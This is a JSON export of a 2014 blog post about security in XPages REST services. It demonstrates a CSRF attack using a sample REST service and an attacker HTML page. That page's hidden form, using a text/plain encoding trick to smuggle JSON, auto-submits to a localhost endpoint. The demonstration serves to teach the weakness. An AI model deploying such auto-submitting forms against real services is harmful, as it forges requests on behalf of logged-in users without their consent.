{"id":1854,"date":"2014-12-30T15:55:58","date_gmt":"2014-12-30T13:55:58","guid":{"rendered":"http:\/\/hasselba.ch\/blog\/?p=1854"},"modified":"2014-12-30T15:59:10","modified_gmt":"2014-12-30T13:59:10","slug":"rest-security-csrf-attacks","status":"publish","type":"post","link":"https:\/\/hasselba.ch\/blog\/?p=1854","title":{"rendered":"REST & Security: CSRF Attacks"},"content":{"rendered":"

In this post I will demonstrate how a do a CSRF attack against a XPages REST service.<\/p>\n

Let’s assume that we have a custom REST service on a XPage. To keep the example as simple as possible, this service returns the posted data back to the requesting browser only, nothing more and nothing less:<\/p>\n

<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<xp:view\r\n\u00a0\u00a0 \u00a0xmlns:xp=\"http:\/\/www.ibm.com\/xsp\/core\"\r\n\u00a0\u00a0 \u00a0xmlns:xe=\"http:\/\/www.ibm.com\/xsp\/coreex\"\r\n\u00a0\u00a0 \u00a0rendered=\"false\">\r\n\u00a0\u00a0 \u00a0\r\n\u00a0\u00a0 \u00a0<xe:restService\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0id=\"restService\"\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0pathInfo=\"foo\">\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0<xe:this.service>\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0<xe:customRestService\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0requestContentType=\"application\/json\"\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0requestVar=\"data\" \r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0doPost=\"#{javascript:toJson( requestScope.data )}\">\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0<\/xe:customRestService>\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0<\/xe:this.service>\r\n\u00a0\u00a0 \u00a0<\/xe:restService><\/code><\/pre>\n
On my web server, I have created a simple HTML page with a form:<\/p>\n
<html>\r\n\u00a0\u00a0 \u00a0<head \/>\r\n\u00a0\u00a0 \u00a0<body>\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0<form name=\"CSRFAttack\" enctype=\"text\/plain\"\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0action=\"http:\/\/localhost\/REST.nsf\/CSRF.xsp\/foo\/\" method=\"POST\">\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0 <input type=\"hidden\" name='{\"Hello\": \"World\"}'>\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0<\/form> \r\n\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0<script>document.CSRFAttack.submit();<\/script>\r\n\u00a0\u00a0 \u00a0<\/body>\r\n<\/html><\/code><\/pre>\n
As soon a user (which is logged on my domino server) opens the HTML page, the form is automatically posted to the REST service.<\/p>\n
1. User opens the „bad site“<\/p>\n
\"\"<\/p>\n
2. Then the form is sent to the server<\/p>\n
\"\"<\/p>\n
3. And the request is processed by the REST service<\/p>\n
\"\"
\nEt voil\u00e0, the CSRF attack was successfull.<\/p>\n","protected":false},"excerpt":{"rendered":"
In this post I will demonstrate how a do a CSRF attack against a XPages REST service. Let’s assume that we have a custom REST service on a XPage. To keep the example as simple as possible, this service returns … Weiterlesen →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[61,35],"tags":[60,90],"class_list":["post-1854","post","type-post","status-publish","format-standard","hentry","category-rest","category-security","tag-rest","tag-security"],"_links":{"self":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1854","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1854"}],"version-history":[{"count":7,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1854\/revisions"}],"predecessor-version":[{"id":1863,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1854\/revisions\/1863"}],"wp:attachment":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}